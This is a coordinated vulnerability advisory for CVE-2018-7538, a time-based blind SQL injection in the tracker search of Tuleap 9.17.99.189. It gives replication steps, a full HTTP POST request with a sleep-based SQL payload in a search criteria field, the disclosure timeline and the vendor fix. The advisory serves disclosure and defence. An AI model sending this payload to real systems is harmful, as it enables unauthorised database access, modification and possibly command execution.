CASE ID	CM-2018-01	AFFECTED PRODUCT	Tuleap version 9.17.99.189
FOUND	2018-02-24	VULNERABILITY TYPE	Blind SQL injection - time based
AUTHOR	Cristiano Maruti	SEVERITY	High

ISSUE DETAILS

Enalean Tuleap is a project management system for application lifecycles management, agile development and design projects, requirement management, IT services management, and so on. The analysis discovered a time-based blind SQL injection vulnerability (OTG-INPVAL-005) in the tracker functionality of Tuleap software engineering platform. A malicious user can inject arbitrary SQL commands to the application. The vulnerability lies in the project tracker service search functionality; depending on project visibility successful exploitation may or may not require user authentication. A successful attack can read, modify or delete data from the database or, depending on the privilege of the user (default: restricted) and the database engine in use (default: MySQL), execute arbitrary commands on the underlying system.

AFFECTED VERSIONS

The following version of the Enalean Tuleap software was affected by the vulnerability; previous versions may be vulnerable as well:

- Tuleap version 9.17.99.189

REPLICATION STEPS

It is possible to reproduce the vulnerability following these steps:

1. Open the tracker service in a publicly visible project
2. Leave all the fields empty and submit the search form while logging the request with the help of an application proxy like Burp or ZAP
3. Copy the previous request and edit the "`criteria[499][values][]`" field in the request body with the "`(select(0)from(select(sleep(3)))a)/**/`" payload
4. Send the request to the application
5. Application will respond with a three second delay

DISCLOSURE TIMELINE

Below the vendor contact timeline.

Date	Event
2018-02-26	Vulnerability submitted to vendor through e-mail (security@tuleap.org). Vendor requested more info and acknowledged the problem later.
2018-02-27	Researcher requested to allocate a CVE number.
2018-02-27	Vendor released a fix for the reported issue.
2018-03-08	Researcher requested to publicly disclose the issue; public coordinated disclosure.

TECHNICAL DETAILS

Below a full transcript of the HTTP request used to raise the vulnerability

HTTP Request

```
POST /plugins/tracker/?tracker=16 HTTP/1.1
Host: 192.168.137.130
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://192.168.137.130/plugins/tracker/?tracker=16
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354
Connection: close
Upgrade-Insecure-Requests: 1

report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=&criteria%
5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=&criteria%5B499%5D%5Bvalues%5D%
5B%5D=(select(0)from(select(sleep(3)))a)/**/&additional_criteria%5Bcomment%5D=&tracker_qu
ery_submit=
```

VENDOR SOLUTION

Enalean released an update to fix the vulnerability (Tuleap 9.18 or later). Please see the below link for further information released by the vendor:

- https://tuleap.net/plugins/tracker/?aid=11192
- https://tuleap.net/plugins/git/tuleap/tuleap/stable?p=tuleap%2Fstable.git&a=commitdiff&h=098b5b68dcb645db8a446d4c274157880208657f

VULNERABILITY REFERENCE

The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538

ABOUT

Vulnerability was independently discovered by Cristiano Maruti (@cmaruti).